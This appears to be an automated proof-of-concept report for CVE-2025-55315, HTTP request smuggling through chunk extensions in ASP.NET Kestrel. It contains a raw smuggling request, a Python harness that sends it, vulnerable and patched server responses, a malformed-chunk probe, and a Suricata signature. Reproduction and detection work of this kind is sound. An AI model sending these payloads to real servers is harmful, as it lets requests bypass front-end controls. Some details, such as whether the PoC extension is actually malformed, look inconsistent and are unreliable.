Kestrel Chunked Smuggling Proof of Concept (CVE-2025-55315)

CVE-2025-55315.md

Kestrel Chunked Smuggling Proof of Concept (CVE-2025-55315)

Run directory: artifacts/runs/ASP-Kestrel-Chunked-Smuggling/20251017-210608/ASP-Kestrel-Chunked-Smuggling/default_recipe/

---

1. Smuggling Payload

POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
Content-Type: text/plain
Connection: keep-alive

4;ext=foo
ABCD
0

GET /smuggled HTTP/1.1
Host: localhost

This is the exact request sent in tool_26_run_shell.log.

---

2. Python Harness

import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Content-Type: text/plain\r\n"
    b"Connection: keep-alive\r\n"
    b"\r\n"
    b"4;ext=foo\r\n"
    b"ABCD\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"\r\n"
)

with socket.create_connection(("127.0.0.1", 5000)) as s:  # vulnerable Kestrel 7.0.20
    s.sendall(payload)
    s.settimeout(1.0)
    chunks = []
    try:
        while True:
            data = s.recv(4096)
            if not data:
                break
            chunks.append(data)
    except Exception:
        pass

print(b"".join(chunks).decode(errors="ignore"))

---

3. Vulnerable Response (port 5000)

HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked

2
OK
0

HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked

2
OK
0

The server produced two responses on the same TCP connection, confirming GET /smuggled was accepted.

---

4. Patched Response (port 5001)

Exception: timed out
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:10:35 GMT
Transfer-Encoding: chunked

2
OK
0

The patched build closes the connection after throwing Bad chunk extension, preventing the smuggled request.

---

5. Evidence Files

Item	Path
Smuggling script	tool_26_run_shell.log
Patched run output	tool_44_run_shell.log
Vulnerable server log	workspace/vulnerable_app.log
Patched server log	workspace/patched_app.log
Fix commit (source tree)	workspace/aspnetcore → git show b50ab865ec4dcd3d6ac30221288cc36bf189d300

---

6. Suggested Production Detection

To monitor live environments without custom endpoints, send a pre-auth GET / probe over TLS with a malformed chunk extension:

GET / HTTP/1.1
Host: <target>
Transfer-Encoding: chunked

2;\rxx
xy
0

• Vulnerable Kestrel keeps the TLS session open after a 200 OK.
• Patched Kestrel immediately aborts (400/connection close) because it now rejects the invalid chunk extension.

Deploying this probe via an L7 monitor provides a stable, generic detection path for CVE-2025-55315.

Suricata / Snort IDS Signature

If you need passive detection on the wire, the following Suricata-compatible rule flags inbound HTTP/1.1 requests that contain the problematic "\r" in a chunk extension. It maps cleanly to Snort as well.

alert http any any -> $HOME_NET any (
    msg:"Possible Kestrel chunked smuggling probe";
    flow:to_server,established;
    http.request_line;
    content:"Transfer-Encoding|3a| chunked"; http.header;
    content:"|0d 0a|2;|0d|"; within:32;
    classtype:web-application-attack;
    sid:2025553151; rev:1;
)

• content:"|0d 0a|2;|0d|" looks for a CR immediately after the chunk length (2;) which legitimate clients should not send.
• Adjust the sid/rev according to your ruleset policies.
• Pair this with logging/alerting so operators can correlate probes with upstream platform versions.

Together, the active TLS probe and the passive IDS signature give full coverage: one verifies your own fleet, the other alerts if someone else is probing (or exploiting) the bug in production.